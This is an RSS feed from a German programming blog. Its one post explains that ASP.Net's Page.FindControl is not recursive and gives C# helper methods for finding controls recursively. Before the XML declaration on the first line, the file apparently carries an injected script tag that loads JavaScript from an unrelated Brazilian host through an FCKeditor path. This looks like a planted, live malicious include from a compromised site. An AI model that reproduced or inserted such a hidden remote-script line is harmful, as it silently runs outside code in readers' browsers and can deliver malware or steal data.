<script src=http://onortao.com.br/FCKeditor/ver_evento.php ></script><?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Xylon's Blog &#187; ASP.Net</title>
	<atom:link href="http://www.xentrope.de/tag/asp-net/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.xentrope.de</link>
	<description>I don't work here</description>
	<lastBuildDate>Fri, 30 Oct 2009 19:07:02 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>Standard Pitfall mit Page.FindControl [Update]</title>
		<link>http://www.xentrope.de/visual-studio/aspnet-2/standard-pitfall-mit-page-findcontrol/</link>
		<comments>http://www.xentrope.de/visual-studio/aspnet-2/standard-pitfall-mit-page-findcontrol/#comments</comments>
		<pubDate>Mon, 26 Oct 2009 13:43:55 +0000</pubDate>
		<dc:creator>Rene Muster</dc:creator>
				<category><![CDATA[ASP.Net 2]]></category>
		<category><![CDATA[ASP.Net 3 / ASP.Net 3.5]]></category>
		<category><![CDATA[ASP.Net]]></category>
		<category><![CDATA[c#]]></category>
		<category><![CDATA[FindControl]]></category>

		<guid isPermaLink="false">http://www.xentrope.de/?p=200</guid>
		<description><![CDATA[Reminder an micht selbst: Page.FindControl arbeitet nicht rekursiv. :&#62; Alternativfunktionen für rekursives Suchen und Holen von Controls: private T GetControl(string id, ControlCollection ctls, bool ThrowExceptions) where T : Control { Control ctl = FindControl(id, ctls); if (ThrowExceptions &#38;&#38; ctl == null) throw new Exception(string.Format("Cannot find control with id '{0}' !\n", id)); if (ThrowExceptions &#38;&#38; ctl.GetType() != [...]]]></description>
			<content:encoded><![CDATA[<p>Reminder an micht selbst:<br />
Page.FindControl arbeitet nicht rekursiv. :&gt;<br />
Alternativfunktionen für rekursives Suchen und Holen von Controls:</p>
<pre name="code" class="csharp">        private T GetControl(string id, ControlCollection ctls, bool ThrowExceptions) where T : Control
        {
            Control ctl = FindControl(id, ctls);
            if (ThrowExceptions &amp;&amp; ctl == null)
                throw new Exception(string.Format("Cannot find control with id '{0}' !\n", id));
            if (ThrowExceptions &amp;&amp; ctl.GetType() != typeof(T))
                throw new Exception(string.Format("Control with id '{0}' found , but it's type is not {1}!\n", id, typeof(T)));
            if (ctl == null) return null;
            T castedCtl = (T)ctl;
            return castedCtl;
        }

        private bool ControlExists(string id, ControlCollection ctls)
        {
            return (GetControl(id, ctls, false)) != null;
        }

        private Control FindControl(string id, ControlCollection ctls)
        {
            Control ctlsearched = null;
            foreach (Control ctl in ctls)
            {
                if (!string.IsNullOrEmpty(ctl.ID) &amp;&amp; ctl.ID.Equals(id, StringComparison.InvariantCultureIgnoreCase))
                    ctlsearched = ctl;
                if (ctlsearched == null &amp;&amp; ctl.HasControls())
                    ctlsearched = FindControl(id, ctl.Controls);

                if (ctlsearched != null) break;
            }
            return ctlsearched;
        }</pre>
<p><b>Update</b><br />
Manchmal sollte man doch mal Google oder ein paar der Blogs aus seinem RSSReader bemühen&#8230; dann wäre man auch auf <a href="http://www.aspnetzone.de/blogs/peterbucher/archive/2009/01/20/findcontrol-mal-anders-iterativ-rekursiv-generisch-mit-bedingungen.aspx">den Post von Peter Bucher</a> gestossen der das ganze Thema etwas ausführlicher schon im Januar behandelte. :)</p>
]]></content:encoded>
			<wfw:commentRss>http://www.xentrope.de/visual-studio/aspnet-2/standard-pitfall-mit-page-findcontrol/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
	</channel>
</rss>
